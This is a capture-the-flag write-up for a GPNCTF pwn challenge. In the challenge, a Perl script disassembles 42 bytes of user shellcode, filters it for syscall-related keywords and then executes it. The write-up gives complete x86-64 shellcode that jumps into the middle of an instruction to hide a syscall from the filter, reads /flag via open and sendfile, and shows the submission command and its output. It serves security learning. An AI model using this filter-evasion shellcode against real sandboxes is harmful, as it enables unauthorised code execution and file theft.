Now you have two problems.

Category: pwn

Solver: c0mpb4u3r, t0b1

Flag: GPNCTF{On3_d0es_Not_s1mply_Jump_int0_th3_m1ddle_of_4n_instruct1ion!!1}

Introduction

Imagine you want to allow users to execute their code on your server. There are a few reasonable options, like WebAssembly for instance. However, you could just write a Perl program that reads arbitrary bytes from stdin and tries to execute them directly on the host CPU.

So let’s write some Perl…

# Assume we have our code in $p
# Mark memory as executable.
syscall(10, $p, $s, 4);

# Execute this memory region.
&{DynaLoader::dl_install_xsub("", $p)};

Looks sketchy, doesn’t it?

In order to make this “enterprise-grade”, we could run the submitted code (STDIN) through a disasembler in order to check if it contains something malicious. Of course, this method works 100% of the time, right? To implement this feature, we could use code similar to this:

# $out is our disasembler output.
for (<$out>) {
    # Print each line of disassembled code.
    print $_;
    print fh $_;

    # Check for potentially harmful instructions.
    if (/syscall|sysenter|int|0x3b/) {
        # Exit if any harmful contents are found.
        die "no hax pls";
    }
}

Here, the loop iterates over every line of the disassembled output and checks whether it contains syscall, sysenter, int or 0x3b, the latter of them being the hexadecimal representation of 59, which is the syscall number for sys_execve.

If any of those keywords are found, the program dies and refuses to execute the user-submitted code. The code we interact with in this challenge does exactly this:

#!/usr/bin/perl
use strict;
use DynaLoader;
use IPC::Open2;

print "Disassemble what?\n";
$| = 1;
my $s = 42;
my $p = syscall(9, 0, $s, 2, 33, -1, 0);
syscall(0, 0, $p, $s);
my $c = unpack "P$s", pack("Q", $p);

open2 my $out, my $in, "ndisasm -b64 -";
print $in $c;
close $in;
for (<$out>) {
    print $_;
    if (/syscall|sysenter|int|0x3b/) {
        die "no hax pls";
    }
}

print "Looks safe.\n";
syscall(10, $p, $s, 4);
&{DynaLoader::dl_install_xsub("", $p)};

Trying to Break It

Of course, now we are in the role of the attacker, not the provider of this service. The top-level goal is to either submit shellcode to open a remote shell or read the flag at /flag through other means.

In order to achieve this goal, we first have to figure out which sequence of bytes we feed the program so that it’s sanitizer doesn’t trigger.

If we want to be smart and sneak malicious code behind the sanitizer, we could just do something like this, right?

.intel_syntax

_start:
  jmp after_hole

# 8 Byte hole where instructions could be placed.
hole:
  .quad 0x0
after_hole:

# Copy a malicious instruction into the hole
# 0x2a being a placeholder for anything malicious.
mov $0x2a, %rdi
mov %rdi, qword ptr [%rip+hole]

# Jump to the malicious code we just created.
jmp hole

In theory, that would work. However, due to memory protection rules offered by most of today’s kernels, most pages that are marked as executable are not writeable. Doing so will often result in a segfault. So, if we can’t to this, what do we do instead?

More Failed Attempts

Another thing one might try is to “search” all code near the current code, meaning that we start at the instruction pointer and then work our way to lower or higher addresses. For each byte we traverse, we check if it is a syscall instruction. If we found one, we write down its address, manipulate some registers and jump to the written down address.

However, we have another problem: In order to make their service even more enterprise-grade, the author has set a limit on how many bytes we can submit.

Oh shoot, 42 bytes is all we have. Therefore, options like this one are out of the window, we must find smarter ways to break the sanitizer.

Actually Breaking It

Lets start with the code that was used to break the verification:

BITS 64

section .text
    global _start

_start:
    ; /flag
    mov rbx, 0x67616c662f
    push rbx
    ; rdi = &/flag
    push rsp
    pop rdi

    ; rsi = 0
    xor esi, esi
    ; sys_open
    push 0x2
    pop rax

    ; syscall
    jmp hax+1
hax:
    db 0x8
    db 0x0f
    db 0x05

sendfile:
    ; filedescriptor
    mov rsi, rax
    mov r10d, 0x90
    ; sys_sendfile
    mov al, 0x28
    push 1
    pop rdi
    cdq
    ; syscall
    jmp hax+1

Let’s not focus on the part between _start and hax as this is just some typical code you would use to read the flag at /root. It gets interesting in the line above the hax label. Here, we want to perform a sys_open syscall. However, due to the sanitizer, we lack a direct option to do so. Instead, we use a clever hack to sneak a syscall instruction into our code.

If we assemble a syscall instruction, it looks like this:

>>> asm('syscall')
b'\x0f\x05'

These bytes look oddly familiar, don’t they? After the hax label, we have an additional 0x8 byte, which makes the disassembly starting at the hax label look like this:

00000014  080F              or [rdi],cl
00000016  056A015F48        add eax,0x485f016a
0000001B  89C6              mov esi,eax

As we can see, it disassembled the 080F into an or [rdi],cl instruction and interpreted the 05 as the start of the next one. In fact, the disassembly is now slightly off from what we intended the assembly code to be.

By jumping into hax+1, we skip the 0x8 byte and place our instruction pointer at the start of 0x0f05, which is the opcode for syscall. The rest of the code will execute as intended and we can now perform syscalls without the actual instruction in our assembly.

The last and key part is to “print” the flag. We can achieve this through a sendfile syscall, which “streams” our flag file to stdout. However, we can’t just copy and paste our hax label and its few bytes, as it would exceed our 42-byte limit. Instead, after setting up the sendfile syscall, we just jump to hax+1 again to perform the syscall.

However, now we have an infinite loop in our code. But does it matter? — No, it doesn’t. We get what we want: our flag. If the program crashes or gets into an infinite loop is not our concern anymore :)

Finally, compile the assembly to binary so that the perl script can load it properly and send it over:

$ nasm -f bin code.asm -o code.bin
$ cat ./solve.bin | ncat --ssl another-one-bites-the-dust--doja-cat-4043.ctf.kitctf.de 443
Disassemble what?
00000000  48BB2F666C616700  mov rbx,0x67616c662f
         -0000
0000000A  53                push rbx
0000000B  54                push rsp
0000000C  5F                pop rdi
0000000D  31F6              xor esi,esi
0000000F  6A02              push byte +0x2
00000011  58                pop rax
00000012  EB01              jmp short 0x15
00000014  080F              or [rdi],cl
00000016  056A015F48        add eax,0x485f016a
0000001B  89C6              mov esi,eax
0000001D  4831D2            xor rdx,rdx
00000020  41BA69000000      mov r10d,0x69
00000026  B028              mov al,0x28
00000028  EBEB              jmp short 0x15
Looks safe.
GPNCTF{On3_d0es_Not_s1mply_Jump_int0_th3_m1ddle_of_4n_instruct1ion!!1}